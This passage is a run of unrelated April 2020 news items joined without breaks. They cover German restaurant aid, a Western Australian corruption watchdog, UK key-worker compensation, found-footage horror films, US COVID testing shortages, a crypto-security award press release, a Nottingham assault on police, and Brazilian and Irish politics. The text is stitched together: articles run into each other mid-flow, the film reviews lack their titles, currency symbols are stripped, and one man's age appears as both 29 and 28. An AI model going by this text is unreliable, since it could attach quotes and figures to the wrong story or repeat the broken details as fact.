Altmaier. 'As Economy Minister, I am saying if, contrary to expectations, it lasts a long time until a full opening is possible, we will have to reconsider aid, then we would need something like a rescue fund for gastronomy,' he told ZDF television. Germany has started to ease some restrictions, with some shops and factories now open, but most strict social distancing rules are still in place and Germans are required to wear protective face masks on public transport and in most shops. The government has introduced a range of measures, including a 750 billion euro (650billion) stimulus package, to help Europe's biggest economy weather the predicted recession The rescue package included a 480million loan to profit-making airline Condor announced on Monday. Ministers are also thought to be in talks with national carrier Lufthansa about a rescue package that could cost 9billion. Altmaier said he wanted restaurants and guest houses to open as soon as possible but that it must be safe and the priority was to ensure that the infection did not spread. 'We need solutions for this and we are working on it,' he said. John McKechnie's tenure as Corruption and Crime Commission boss has come to an end after the state government failed to break a deadlock with a powerful Parliamentary committee over his reappointment. Premier Mark McGowan is sticking by outgoing CCC boss John McKechnie, insisting he will still try to override corruption legislation to extend his appointment. Credit:AAP/Tony McDonough The former Supreme Court justice had been in the job for five years and had been at the centre of a legal dispute with the state's upper house over access to documents which may have been privileged. His reappointment required the bipartisan support of the CCC Parliamentary committee. A press release from the committee, which is made up of two Labor, one Green and one Liberal MP, said it could not reach a majority or bipartisan agreement. The families of key workers who die from coronavirus should be automatically eligible for compensation payments, a trade union has said. The FBU, which represents fire-fighters, said the government should instruct employers to automatically treat Covid-19 deaths as being in the line of duty - which would trigger payments to the bereaved. The call comes after Health Secretary Matt Hancock announced a similar policy for NHS and social care staff which left other key workers on the front line of the crisis un-covered. Fire-fighters are among key workers going face to face with the virus, with duties including moving bodies, transporting infected patients and delivering vital food and medicine supplies. Other works to bear the brunt of the epidemic include transport workers like bus drivers. Transport for London confirmed earlier this month that more than two dozen of its workers had died. The call comes on International Workers' Memorial Day, 28 April, which commemorates the deaths of workers killed or injured by their jobs. A national minute's silence was held in the UK today for those who had died during the crisis. Matt Wrack, FBU General Secretary, said that "the last thing" the families of key workers needed was "to fight a battle for compensation". There is sadly a real chance that firefighters will die, and thats why we are calling on the government to urgently instruct all fire and rescue services to treat any death from COVID-19 as being caused by their work, making families automatically eligible for a payment under the firefighters compensation scheme," he said. This instruction must also be broadened out to include all key workers, both in the public and private sector. Those not deemed key workers, but who have been obliged to continue attending work by their employer, must also be covered. Any compensation arrangements must not prevent families from taking further legal action against employers who have jeopardised the safety of their workers. This crisis has demonstrated clearly who the key workers are in our society. And there can be no doubt that nurses, doctors, refuse collectors, bus drivers, firefighters, carers, and many more, have gone over and above to keep all of us safe - and the country running. The government must now promise to do its bit to keep all of their families safe and secure into the future. Other key workers include education and childcare workers, those running key public services, people who work in food production and distribution, security workers, and utility and communications workers. Speaking at Downing Street on Monday, Health Secretary Mr Hancock said: "I feel a deep personal sense of duty that we must care for their loved ones Silence for key workers who lost lives to coronavirus Show all 30 1 /30 Silence for key workers who lost lives to coronavirus Silence for key workers who lost lives to coronavirus Staff react outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff inside Camberwell bus depot in London, during a minute's silence PA Silence for key workers who lost lives to coronavirus NHS staff at the Mater hospital in Belfast, during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak. PA Silence for key workers who lost lives to coronavirus Shoppers observe a minute's silence in Tescos in Shoreham Getty Silence for key workers who lost lives to coronavirus Firefighters outside Godstone fire station PA Silence for key workers who lost lives to coronavirus Salford Royal Hospital Getty Silence for key workers who lost lives to coronavirus Salford Royal Hospital PA Silence for key workers who lost lives to coronavirus Hospital workers take part in a protest calling on the British government to provide PPE across Britain for all workers in care, the NHS and other vital public services after a nationwide minute's silence at University College Hospital in London AP Silence for key workers who lost lives to coronavirus A school children's poster hanging outside Glenfield Hospital during a minute's silence Getty Silence for key workers who lost lives to coronavirus A man holds a placard that reads "People's health before profit" outside St Thomas hospital Getty Silence for key workers who lost lives to coronavirus Staff members applaud outside the Royal Derby Hospital, following a minute's silence PA Silence for key workers who lost lives to coronavirus Cabinet Secretary Mark Sedwill, Prime minister Boris Johnson and Chancellor of the Exchequer Rishi Sunak, stand inside 10 Downing Street, London, to observe a minutes silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus University College Hospital, London Hospital workers hold placards with the names of their colleagues who have died from coronavirus as they take part in a protest calling on the British government to provide PPE AP Silence for key workers who lost lives to coronavirus Staff at Waterloo Station in London, stand to observe a minute's silence, to pay tribute to NHS and key workers who have died with coronavirus AP Silence for key workers who lost lives to coronavirus Medical staff at the Louisa Jordan hospital stand during a UK wide minutes silence to commemorate the key workers who have died with coronavirus in Glasgow Getty Silence for key workers who lost lives to coronavirus London An NHS worker observes a minute's silence at Chelsea and Westminster Hospital Reuters Silence for key workers who lost lives to coronavirus Chelsea and Westminster Hospital in London AFP via Getty Silence for key workers who lost lives to coronavirus Belfast, Northern Ireland NHS staff observe a minutes silence at Mater Infirmorum Hospital Reuters Silence for key workers who lost lives to coronavirus Plymouth NHS workers hold a minute's silence outside the main entrance of Derriford Hospital Getty Silence for key workers who lost lives to coronavirus NHS Frimley Park Hospital staff at the A&E department observe a minute's silence Getty Silence for key workers who lost lives to coronavirus Mater Infirmorum Hospital People applaud after a minutes silence in honour of key workers Reuters Silence for key workers who lost lives to coronavirus Waterloo Station, London AP Silence for key workers who lost lives to coronavirus Wreaths laid outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus A group of trade unionists and supporters standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus First Minister Nicola Sturgeon stands outside St Andrew's House in Edinburgh to observe a minute's silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff stand outside the Royal Derby Hospital, during a minutes silence PA Silence for key workers who lost lives to coronavirus London Police officers observe a minutes silence at Guy's Hospital Reuters Silence for key workers who lost lives to coronavirus A woman standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus Royal Derby Hospital PA Silence for key workers who lost lives to coronavirus Leicester, NHS workers during a minute's silence outside Glenfield Hospital Getty "Today I'm able to announce that the Government is setting up a life assurance scheme for frontline colleagues. "Families of staff who die from coronavirus in the course of their essential frontline work will receive a 60,000 payment. "Of course, nothing replaces the loss of a loved one but we want to do everything we can to support families who are dealing with this grief." Ever since the success of The Blair Witch Project (1999) Hollywood filmmakers have sort of found a new genre to play with. The basic idea behind found-footage films is to shoot as much as you can like a documentary and then try to scare the audience with the authenticity of it. The films are mostly first-person narratives, though of late filmmakers are turning towards following proper filmmaking norms. We present to you a list of some of the best found-footage horror films to have come out of Hollywood to keep you company during this quarantine.This supernatural horror film is directed by Daniel Stamm and stars Patrick Fabian, Ashley Bell, Iris Bahr and Louis Herthum. A man of the cloth who has lost faith in the Church has been doing fake exorcisms for a while now. So when a local farmer complains that his daughter has been possessed, the priest takes it all with a pinch of salt and agrees to perform an exorcism. When the girl is found to be pregnant, he suspects incest but the father insists his daughter is a virgin. The girl does start showing signs of possession and violently kills a cat. She names a boy who took advantage of her but upon investigation, the boy turns out to be gay. The priest, as well as the camera team which has been filming these encounters, rushes back to the farm and sees a demonic ritual taking place. The girl ends up giving birth to a child who is definitely not human. What happens to the priest and the camera crew forms the crux of this chilling film.This is a 2010 Norwegian dark fantasy film, made in the form of a found-footage mockumentary. It is written and directed by Andre vredal, and features a mixed cast of relatively unknown actors and well-known Norwegian comedians, including Otto Jespersen. What happens when the stuff of fairytales actually turns out to be true? Three students Thomas (Glenn Erland Tosterud), Johanna (Johanna Mrck) and their cameraman Kalle (Tomas Alf Larsen), set out to make a documentary about a suspected bear poacher, Hans (Otto Jespersen). At the site of an illegally slain bear, they interview local hunters, who comment that the bear tracks look odd. Finn Haugen (Hans Morten Hansen), head of the Norwegian Wildlife Board, dismisses these rumours. Later, it turns out that Hans is the only certified troll hunter out of Norway. And Finns job is to make sure no one gets a whiff of the actual fact. Trolls have been behaving unnaturally lately and Hans and a student go in to investigate. They end up being trapped in the lair of trolls. The only way to escape is to evade the trolls and rush into the sunlight -- which trolls hate. But one of them is a devoted Christian and trolls are known to sniff out Christian blood. The film is all kinds of fun and is shot just like a normal film and carries some proper creature effects. Thats what distinguishes it from others belonging to the genre, which are shot mainly as first-person narratives.This is an Australian found-footage horror film directed by Carlo Ledesma and co-written, co-produced, and co-edited by Julian Harvey and Enzo Tedeschi. The film stars Bel Delia, Andy Rodoreda, Steve Davis, Luke Arnold, Goran D. Kleut, and James Caitlin. Natasha (Bel Delia) is a journalist who wants to investigate why a government project was suddenly abandoned. In addition to the project reaching an inexplicable standstill, dozens of homeless people living in the abandoned tunnels have also reportedly gone missing. Natasha takes a film crew comprising her producer, Peter (Andy Rodoreda), cameraman, Steven (Steve Davis), and sound engineer, Tangles (Luke Arnold), down into the old tunnels to get to know the truth. They use night vision cameras to get to the bottom of the mystery. They reach a freshwater lake and afterwards, strange things start happening. They keep hearing strange noises over their recordings and later a large humanoid creature starts hunting them one by one. Their only defence is that its allergic to light.Written and directed by Colin Minihan and Stuart Ortiz, this Canadian found footage supernatural horror film stars Sean Rogerson, Ashleigh Gryzko, Mackenzie Gray, Juan Riedinger, Merwin Mondesir and Matthew K McBride. A film crew hired to spend a night in an asylum which is supposed to be haunted gets the shock of their lives when it actually turns out to be so. The spirits of the dead patients start haunting them one-by-one and they cant even leave because the premises have been chained off from the outside. The only way they can defend themselves is through staying together and teamwork. But when the spirits start getting more aggressive and the killings start, panic kicks in and the group starts to disintegrate leading to complete mayhem. The directors of the film, The Vicious Brothers, reportedly hid ghoulish props on the sets to capture authentic reactions from the actors.This science-fiction horror film is directed by Sebastian Cordero and stars Christian Camargo, Anamaria Marinca, Michael Nyqvist, Daniel Wu, Karolina Wydra and Sharlto Copley. It recounts the fictional story of the first crewed mission to Europa, one of the four Galilean moons of Jupiter. Despite a disastrous technical failure that causes the loss of all communications with Earth mission control and a series of crises, the crew continues its mission to Europa and finds mounting evidence of life on the moon. Six astronauts embark on a privately funded mission to Jupiter's moon Europa to find potential sources of life.[4] The crew members are commander William Xu (Daniel Wu), pilot Rosa Dasque (Anamaria Marinca), chief science officer Daniel Luxembourg (Christian Camargo), marine biology science officer Katya Petrovna (Karolina Wydra), junior engineer James Corrigan (Sharlto Copley) and chief engineer Andrei Blok (Michael Nyqvist). Everything with the mission starts going wrong one after the other. They miss the designated site, all contact with Earth is seemingly lost and worse, a tentacled creature found on the moon is supposedly leading crew members to their death one by one. The whole ship is rigged with cameras -- even the suits and helmets have cameras and the story is pieced together when communication is restored and the ships computer sends all the footage captured back to Earth.Directed by M. Night Shyamalan and starring Olivia DeJonge, Ed Oxenbould, Deanna Dunagan, Peter McRobbie, and Kathryn Hahn, the film is a modern tale on the Little Red Riding Hood story where she visited her grandma, only to find a wolf in disguise. The film revolves around a teenager Becca and her younger brother Tyler who live with their single mother who isnt on good terms with her parents, whom they have never seen before. After finding their grandchildren online and wanting to meet them, the grandparents invite them to spend a week at their farm, while their mother goes on a cruise with her boyfriend. Becca and Tyler decide to make a documentary about their visit. But all is not what it seems. They've been told to sleep by 9:30 pm and once the kids catch their grandmother behaving abnormally past that time. Soon, the grandfather starts behaving erratically as well. They begin to fear for their lives and their fears might not be unjustified.Its a found footage psychological horror film directed by Patrick Brice and is based on a story written by Brice and Mark Duplass. Both Brice and Duplass also star in the film. Creep isnt an actual horror story in the sense that it doesnt have multiple killings. But the psychological factor would surely give you the creeps. The film follows Aaron (Brice), a videographer who responds to a request to create a series of videos for a dying man named Joseph (Duplass). As the two grow closer, Aaron discovers that his client is potentially unstable. The client keeps getting physical with him and at one time demands that he get into the bathtub with him. Aaron finds a wolf mask, and Joseph says he uses it for rough sex with his wife Angela. While he isnt around, Aaron picks up Josephs phone. His sister Angela has called to check on Joseph and she advises Aaron to run away for his own good. He does manage to escape in the end but a strange set of circumstances make him confront Joseph one last time. (TNS) The Jefferson Health System has enough high-tech lab machines to process 10,000 diagnostic tests for the coronavirus every day.Instead, the Philadelphia-based network of 14 hospitals is doing only about 1,000 tests a day.The problem, Jefferson Health president Bruce A. Meyer said last week, is that hospitals across the United States are grappling with a global shortage of testing chemicals and nasal swabs.If we could do 10,000 tests a day, we would. Wed like to test our entire staff, Meyer said of the systems 25,000 employees. We are worried we have asymptomatic virus [spreaders] in our workforce.Reopening the U.S. economy will trigger a resurgence in COVID-19 hospitalizations and deaths unless there is widespread, timely, repeated diagnostic testing of people with and without symptoms, public health and government leaders agree. Lifting shutdowns methodically also requires testing for antibodies, a sign of immunity, in people who have recovered from the respiratory disease.Yet, three months into the crisis, this countrys testing capacity remains woefully inadequate. Even nursing homes dont have access to enough diagnostic tests to control outbreaks that have so far killed more than 10,000 of their residents.Last week, Congress took a step toward filling the void, passing a spending bill that includes $25 billion to expand diagnostic and antibody testing. It covers research, validation, manufacture, and administration of tests; production of related supplies; workforce training; and coronavirus surveillance.Still, those on the front lines worry that corporate interests, lack of coordination, political wrangling, and regulatory disarray will continue to make even simple things difficult like the medieval proverb about losing the kingdom for want of a nail.Its insane that we have the country shut down because of swabs, Ashish Jha, a physician and director of the Harvard Global Health Institute, told the. The president could use the Defense Production Act, and he could use the Army Corps of Engineers to build testing facilities.President Donald Trump did invoke that 1950 act to speed up the manufacture of ventilators but not of testing supplies.Why has a high-income, high-tech country failed so miserably on testing? Its complicated.COVID-19 diagnosis relies on a molecular test, called polymerase chain reaction (PCR), that detects coronavirus genes in specimens taken from the back of patients throats. Its an exacting, multistep process, but more accurate than simpler, faster tests. (Some data, however, suggest that even PCR misses as many as one in three coronavirus infections.)Many countries, notably South Korea, quickly ramped up diagnostic testing by using a coronavirus PCR test protocol developed by Germany and disseminated by the World Health Organization.But the U.S. Centers for Disease Control and Prevention developed its own PCR test kits, doled out the small supply to state public health labs on Feb. 5 and then spent weeks redoing the kits because the initial tests gave inconclusive or incorrect results. Turnaround time is another issue: Results from public labs can take days or weeks.The CDC also initially restricted diagnostic testing to probable cases symptomatic people who had traveled to China, where the virus emerged in December. Now, data suggest that much of the spread of the disease is by people with no symptoms. Yet, because of shortages, U.S. testing remains almost exclusively limited to people with symptoms.By mid-March, South Korea which invented drive-thru sites for nasal swab collection had tested about 5,200 out of every one million inhabitants, while the United States had tested about 100 per one million inhabitants, according to the COVID Tracking Project.The United States is now testing an average of 150,000 people per day, the tracking project estimates . To reopen the country by mid-May and keep outbreaks from roaring back, Harvard University public health experts estimate the nation should be doing 500,000 to 700,000 tests a day.Under pressure from all sides to broaden diagnostic testing, federal regulators began easing their rules in February.The U.S. Food and Drug Administration has since given emergency authorizations to scores of diagnostic PCR tests, according to the Coronavirus Test Tracker. Some were developed by research labs, including at Rutgers University and the Childrens Hospital of Philadelphia, but most are products of big diagnostic manufacturers such as Abbott, ThermoFisher Scientific, Cepheid, LabCorp, and Quest.Manufacturers and industry organizations have boasted that this flood of technology would make diagnostic testing faster, easier, plentiful, and more convenient. Several companies have automated parts of their PCR tests, which can be rapidly processed in hospital labs if those hospitals have the companies proprietary testing machines. Rutgers test is the first to use saliva spit into a tube, so patients dont need the unpleasant nasal swab procedure.Scott Whitaker, CEO of the Advanced Medical Technology Association, said during a news teleconference last week that the industry will have produced 25 million tests by the end of April.Pressed by a reporter, Whitaker acknowledged that number is a goal, and depends on getting the necessary supplies.Behind the hype, PCR testing has been hampered by myriad shortages, backlogs, and a lack of uniformity.To overcome shortages, hospitals have reported experimenting with substitutes for the fluid used to preserve coronavirus samples, and for the chemical reagents used to process those samples stopgaps that could affect accuracy, asreported.The scarcity of reagents is complicated by the fact that the chemicals needed for one manufacturers testing machine might not be compatible with another companys instrument.We realized wed have to leverage multiple different test systems, Meyer at Jefferson said. But the real constraint is the vendor-specific kits and reagents.A different kind of test is seen as vital to tracking how far the coronavirus has spread, calculating the rates of asymptomatic infection, and, hopefully, identifying people who can safely go back to work. These rapid serology tests detect disease-fighting antibodies in blood samples.On Thursday, New York Gov. Andrew Cuomo shared the surprising results of such testing on a random sample of 3,000 people: 21% of residents in hard-hit New York City had antibodies. In the rest of the state, the figure was less than 4%.Despite the importance of antibodies, tests for these proteins have had an even rockier rollout than diagnostic PCR tests.The FDA announced in mid-March that antibody tests could be introduced without prior agency review, prompting a flood of more than 90 onto the market including some that didnt work and made false claims.The FDA and the World Health Organization issued what amounted to buyer-beware warnings. And the Securities and Exchange Commission last week suspended trading of two companies amid allegations of fraudulent claims.At this point, the FDA has really swung the pendulum in the opposite direction and, in my opinion, too much, said Michael Mina, an epidemiologist and infectious-disease expert at Harvards Chan School of Public Health.Officials in both New Jersey and Pennsylvania have said that before stay-at-home and social distancing orders can be lifted, additional testing will be needed but not how that will be achieved.It is possible, of course, to reopen an economy without safeguards, then see what happens. Thats what Georgias Gov. Brian Kemp is now doing, despite the misgivings of public health experts and some mayors in his state.For Meyer, at Jefferson, it comes down to a risk tolerance question.We are many weeks away from testing everyone, he said. How much risk are we willing to take to reopen? Are the risks worth the rewards? We have tens of thousands of people out of work. There is no perfect answer. Uppsala Security's Risk Management Tools Strengthen Organization Capabilities for Analyzing/Visualizing Crypto Transactions and for Securing Crypto Assets SINGAPORE, April 28, 2020 /PRNewswire/ -- Based on its recent analysis of the Asia-Pacific blockchain and cryptocurrency security market, Frost & Sullivan recognizes Uppsala Security Pte Ltd. with the 2020 Asia-Pacific Blockchain & Cryptocurrency Security Technology Innovation Award. Frost & Sullivan highlighted the Threat intelligence Platform called Sentinel Protocol and the continuous advancements in software products enabling organizations to confidently analyze and visualize cryptocurrency transactions and protect crypto assets as well as other digital assets from malicious attacks, scams, and fraud across diverse industries by enhancing business transparency and stability. "Uppsala Security's Sentinel Protocol, the world's first crowd-sourced security platform, enables cryptocurrency users to report cybercrime such as cryptocurrency malicious attacks, scams, and fraud associated with dangerous wallets, URLs/URIs/domains and social accounts. After rigorous analysis and validation by security experts, new security intelligence received from outside sources is added to Sentinel Protocol's Threat Intelligence Database (TRDB) which is powered by blockchain technology. The TRDB serves to share the confirmed Security Intelligence in the form of Whitelists/Blacklists with Uppsala Security's worldwide users," said Mogana Tashiani, Research Analyst. "Sentinel Protocol technology can also be used to track, analyze, and visualize suspicious cryptocurrency transaction activities such as terrorist transactions and can generate risk assessments of crypto wallets to enhance anti-money laundering and regulatory compliance." The company also provides a solution called UPPward Browser Extension which is an Internet browser plugin (available for Chrome, Brave, Firebox, Edge) that automatically provides real time alerts to Internet users when they select a URL/URI/domain with their browser that is blacklisted in the TRDB for being associated with malware/phishing. UPPward can also be used as a search engine for understanding whether a specified wallet address or social media account is considered dangerous and can act as a tool to report suspicious network activity, dangerous URLs, and hacking incidents. The UPPward Extension is available to everyone free of charge as Uppsala Security's contribution to the community. Crypto Analysis Risk Assessment (CARA) is another Sentinel Protocol product from Uppsala Security. CARA leverages machine-learning to analyze all of a selected wallet's past transactions to generate a risk measurement of the crypto wallet address based on learned behaviors using both known malicious wallets and normal wallets. It operates on an on-demand basis and runs as a batch process that continuously analyses selected crypto addresses. CARA can be easily integrated into software applications and is available on an annual subscription basis from Uppsala Security. One more security product worth mentioning that is available as part of Sentinel Protocol, the suite of risk management tools developed and operated by Uppsala Security, is the Crypto Analysis Transaction Visualization (CATV). CATV is a forensics tool that enables its user to easily generate, for a selected wallet, a visualization displaying the incoming and outgoing flow of tokens and the types of wallets with which it interacts. A user can easily track and analyze both incoming and outgoing transactions of a selected crypto wallet and can uncover suspicious transaction flows, such as tumbling and mixing, or interaction with blacklisted wallets registered in the TRDB. The generated data can be visualized and further analyzed for anti-money laundering and regulatory compliance purposes. For maintaining business stability, growth and a good reputation, it is important for many enterprises in the crypto-world to have tools that help them manage business risk and to realize regulatory compliance. Summary Wallet Analysis Profiling (SWAP) is a tailored service from Uppsala Security designed to enable organizations to periodically, i.e. (weekly, biweekly, monthly, or quarterly), audit tens of thousands of crypto wallets. SWAP provides in-depth 360 analytics into all of the wallet addresses related to a firm's business by reporting a variety of tailored risk indicators and metrics compiled and presented in a series of periodic reports such as: daily or monthly transaction amounts and counts; a ranking of wallets that made the largest contribution to your monthly transactions in terms of amounts or transaction counts; a ranking of wallets that have made the most transactions with blacklisted wallets in terms of amount or transaction counts. The key benefit of SWAP is that it enhances an enterprise's efforts to achieve regulatory compliance whilst reducing costs and increasing productivity. Uppsala Security works with a wide range of organizations such as governments and virtual asset service providers (VASPs), including financial institutions, fintech companies and other technology developers looking to include the technologies developed by Uppsala Security as part of their software products. Over the years, Uppsala has developed business alliances with numerous clients including data scientists, financial investigators, risk managers, compliance auditors, and even government agencies across Singapore, South Korea, Japan and China. "Uppsala's strategy of licensing its technology to other companies that use cryptocurrency and blockchain in businesses has met with huge success," noted Tashiani. "The company's valuable partnerships with other companies and government agencies underline its commitment to leveraging blockchain security systems. Its forward-looking strategies and technologies are expected to help it dominate the market in the future." "I speak in the name of our whole team when I say that we are honored to receive this recognition from such a reputable company as Frost & Sullivan. Our hard work in the technology and cybersecurity space now translates into viable products that have been adopted worldwide by governments, enterprises and end users. We are deeply grateful for this great milestone and we are committed to continue our efforts for delivering technology that makes people feel safe," said Patrick Kim, Founder & CEO, Uppsala Security. Each year, Frost & Sullivan presents this award to the company that has developed a product with innovative features and functionality, gaining rapid acceptance in the market. The award recognizes the quality of the solution and the customer value enhancements it enables. Frost & Sullivan Best Practices awards recognize companies in a variety of regional and global markets for demonstrating outstanding achievement and superior performance in areas such as leadership, technological innovation, customer service, and strategic product development. Industry analysts compare market participants and measure performance through in-depth interviews, analysis, and extensive secondary research to identify best practices in the industry. About Frost & Sullivan For over five decades, Frost & Sullivan has become world-renowned for its role in helping investors, corporate leaders and governments navigate economic changes and identify disruptive technologies, Mega Trends, new business models and companies to action, resulting in a continuous flow of growth opportunities to drive future success. Contact us: Start the discussion. Contact: Melissa Tan E: [email protected] P: +65 6890 0926 About Uppsala Security Pte Ltd Uppsala Security built the first crowdsourced Threat Intelligence Platform known as the Sentinel Protocol, powered by blockchain technologies and A.I. Supporting the framework is a team of experienced security analysts and researchers committed to helping organizations realize safely interconnected experiences by deploying a suite of advanced Risk Management Solutions satisfying the crypto security needs of organizations and industry compliance standards. SOURCE Frost & Sullivan Related Links www.frost.com A violent thug who knocked out a policewoman and beat a police dog with a plank of wood after being asked if his journey was essential has been jailed for four years. Nelson Nelson flew into a rage at Nottingham train station on Saturday, April 4 when officers asked him if he needed to be travelling during the coronavirus lockdown. He then went on a 'rampage,' punching three police officers - dragging one into the path of a oncoming bus - and attacking a police dog before finally being arrested. When the 29-year-old was searched police also found a lock-knife on him. Nelson pleaded guilty to a string of charges related to the incident earlier this month. Nelson Nelson, 28, hit police dog Quantum and attacked his handler, PC Jennie Ellse, after being asked if his train journey was essential After verbally abusing British Transport Police (BTP) officers at Nottingham station, telling them he would 'knock them out' he was escorted off the property before punching them both in the face - knocking them both to the ground. One fell unconscious but the other managed to get up and chase after him. Nelson dragged him into the road in front of an oncoming bus, before fleeing into a building site opposite the station. More officers from Nottinghamshire Police, who had been called in to help, found Nelson who then charged at an officer and punched him. Arming himself with a plank of wood with nails in, he charged at a Nottinghamshire Police dog handler Jennie Ellse and hit police dog Quantum multiple times with the wood, causing a cut to the animal's chin. After he was arrested both BTP officers were taken to hospital for treatment. One was left with severe concussion and bruising to her face, while the other suffered ligament damage to his jaw and thumb, as well as bruising and swelling across his body. Arming himself with a plank of wood with nails in, he charged at a Nottinghamshire Police dog handler Jennie Ellse and hit police dog Quantum (pictured) multiple times with the wood, causing a cut to the animal's chin Nelson of Stonnall Road, Aldridge, appeared at Nottingham Magistrates' Court earlier this month where he pleaded guilty to two counts of actual bodily harm, assault with intent to resist arrest, assault of an emergency worker, possession of an offensive weapon, possession of a bladed article, and causing unnecessary suffering to a protected animal. He has now been jailed for four years. Chief Inspector Gareth Davies said: 'This was a truly horrifying incident which involved a sustained attack on multiple officers and a police dog, all just trying to do their jobs. 'There is never an excuse for this sort of behaviour, but it's all the more shocking to think this violent rampage began after Nelson was simply asked if his journey was essential. 'Thankfully, no one was more seriously injured, and the officers involved are receiving the support they need. 'Let me be absolutely clear, we simply will not tolerate aggression or violence towards police officers and we will do everything in our power to ensure offenders like Nelson are brought before the courts to face justice.' Brasilia: Brazil's Supreme Court has given the green light for a probe into allegations that President Jair Bolsonaro tried to interfere with police investigations. Brazilian President Jair Bolsonaro refutes accusations of wrongdoing made by his outgoing justice minister Sergio Moro. Credit:AP As he resigned his post as justice minister on Friday, Sergio Moro accused the President of firing the federal police chief without cause and implied that he had done so for political reasons. Shortly thereafter, the federal prosecutor's office presented a request for an investigation to the Supreme Court. The President may be subject to charges of obstruction of justice, coercion, corruption, and identity fraud if allegations that he tried to influence police investigations prove true, according to the general prosecutor. Social distancing will continue through summer in US: White House health expert Iran Press TV Monday, 27 April 2020 7:36 AM A senior Trump administration health official warns that social distancing measures will need to continue for the next few months in the United States despite many states planning to end lockdowns imposed over the coronavirus spread. Speaking on Meet the Press on Sunday, the White House coronavirus task force response coordinator Dr. Deborah Birx said that "social distancing will be with us through the summer to really ensure that we protect one another." Her remarks come after Vice President Mike Pence said the US will "largely have this coronavirus epidemic behind us" by Memorial Day on 25 May. The deadly virus has so far affected more than 987,300 and killed over 55,400 people across the United States. Experts have warned that there might be second and even third spikes in the number of cases and deaths later this year, noting that this could mean the US might see a second wave of the pandemic if social distancing practics end in some capacity. Around 20 states plan to reopen businesses in some capacity next week. In Colorado, for instance, Democratic Governor Jared Polis said, "Our target is about 60 to 65 percent social distancing from the way people used to live, and how we can do that over a period of months in a psychologically sustainable way and of course an economically sustainable way that meets the health goals of the state." Asked if she's concerned about such plans, Birx said, "I've had really, very good conversations with a series of governors, and they've really been very insightful of how they're looking at this. They understand the risk, and they talk about this not as turning on a light switch but slowly turning up the dimmer." Birx also touched upon disinfectant and UV light which President Donald Trump recently suggested can be viable treatments for coronavirus patients, saying, "I also made it very clear, and so has Dr. Fauci and everyone associated with the task force, and the clarity around this is not a treatment." NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US federal authorities recommend that states remove sanitary restrictions as soon as possible, but in a way that does not jeopardize the health of citizens, said US president Donald Trump during the briefing. "Well, we want them to do it. We recommend that they do it as quickly as possible, but safely. We want everyone to be safe. And I think youre seeing that." However, according to Trump, many states can resume classes in schools before completely removing sanitary restrictions. "Youre seeing a lot of governors get out and they want to open it up. Many are thinking about their school system. Not a long way to go in the school system right now for this season, for this year, but I think youll see a lot of schools open up even if its for a very short period of time. I think it would be a good thing," he said. Currently, only stores and pharmacies selling essential goods are operating in the US. Restaurants and cafes accept only takeaway orders. Gyms, museums, educational institutions, cinemas, and theaters are closed. The administration released new recommendations for phasing out measures introduced because of the coronavirus. The president noted the governors will be able to decide when to remove restrictions since the situation in each state is different. As the US president said earlier Monday at a meeting with industry and retailers, US authorities have developed a coronavirus infection test plan and rapid response program for the states. The testing campaign is going very well, no one is complaining, Trump said noting that over 5.4 million tests have been conducted. According to him, the authorities intend to step up efforts to conduct testing for the African-American and Latin American segments of the population. Today marks 80 days since the General Election on Saturday, February 8. A full 80 days since the country voted in their thousands for seismic change. Society has certainly changed in the intervening period but there has been no change in politics. The country is still being run by Fine Gael and its Independent colleagues. Leo Varadkar still sits at the helm of the Cabinet table and Shane Ross, Finian McGrath and Katherine Zappone are still calling the shots in their respective departments. Nothing has changed. A full 80 days since Sinn Fein was crowned the winners of the General Election their main achievement to date has been Mary Lou McDonald landing an appearance on 'The Late Late Show'. Its efforts to form a 'government of change' have been abandoned and little has been done to convince the other parties it is a suitable coalition partner. McDonald's praise of the Government's work on the Covid-19 pandemic on 'The Late Late Show' could be seen as an olive branch of sorts, or perhaps she was simply reading the public mood. Either way, Fianna Fail and especially Fine Gael have been categoric in their refusal to negotiate with Sinn Fein. So a full 80 days since the election all we have is a broad agreement between Fianna Fail and Fine Gael that they are willing to do business together. Historic as it may be, the agreement is meaningless unless one or more other parties supports the deal too. It is almost two weeks since Fianna Fail and Fine Gael published their ambitious 'policy framework document' and since then not one of the other smaller parties has agreed to begin programme for government negotiations. The Labour Party has essentially ignored the document, while the Social Democrats just keep asking questions about it. The Green Party set out 17 demands which it insists must be met if it is to even consider negotiations. But at least it has put its cards on the table and given Fianna Fail and Fine Gael an indication of its opening gambit. If or when it does begin official talks, there will be a lot of hard decisions to be taken on what the country can actually afford to do on climate change. The Greens will not be naive enough to believe they can achieve all their goals within five years. And then, even if the Greens sign up, it is likely the support of Independent TDs will also be sought. Balancing the demands of rural TDs against the Greens will be tricky to say the least. But we're nowhere near any of that, despite election day being almost a distant memory. To speed the process up, Fianna Fail and Fine Gael should take on board the suggestion of the Regional Independents that a deadline should be set for those interested in entering into government. A deadline would get rid of the time-wasters who are trying to give the impression of being interested in government so they can claim they played their part when the next election is called. But in reality they have no interest in forming a government. Fianna Fail and Fine Gael should set this Sunday, which will be 85 days since the election, as the deadline for entering government negotiations. Those interested should at this point declare their intention to exit or formally enter programme for government talks and the serious negotiating can begin. The current lockdown is due to end this day next week and the public, who have been asked to make huge sacrifices, deserve to see politicians come together to form a government which can lead them out of this crisis. UK regulator ends probe of ex-Barclays banker Roger Jenkins - lawyer Former Barclays banker Roger Jenkins leaves the Old Bailey Central Criminal Court in London By Kirstin Ridley LONDON (Reuters) - Roger Jenkins, a former feted Barclays rainmaker who was acquitted of fraud charges by a London jury two months ago, has now also been cleared of wrongdoing in a separate regulatory investigation, his lawyer said on Tuesday. Brad Kaufman, co-president of law firm Greenberg Traurig, who has been representing Jenkins since 2012, told Reuters that the Financial Conduct Authority (FCA) had closed its inquiry into Jenkins' role in Barclays' emergency fundraisings from Qatar at the height of the credit crisis. "The FCA has discontinued their warning notice," he said. "After all he has been through, and having been exonerated by the SFO (Serious Fraud Office) trial, it would have been unfair to continue with the investigation." The FCA called Barclays "reckless" in 2013 for failing to 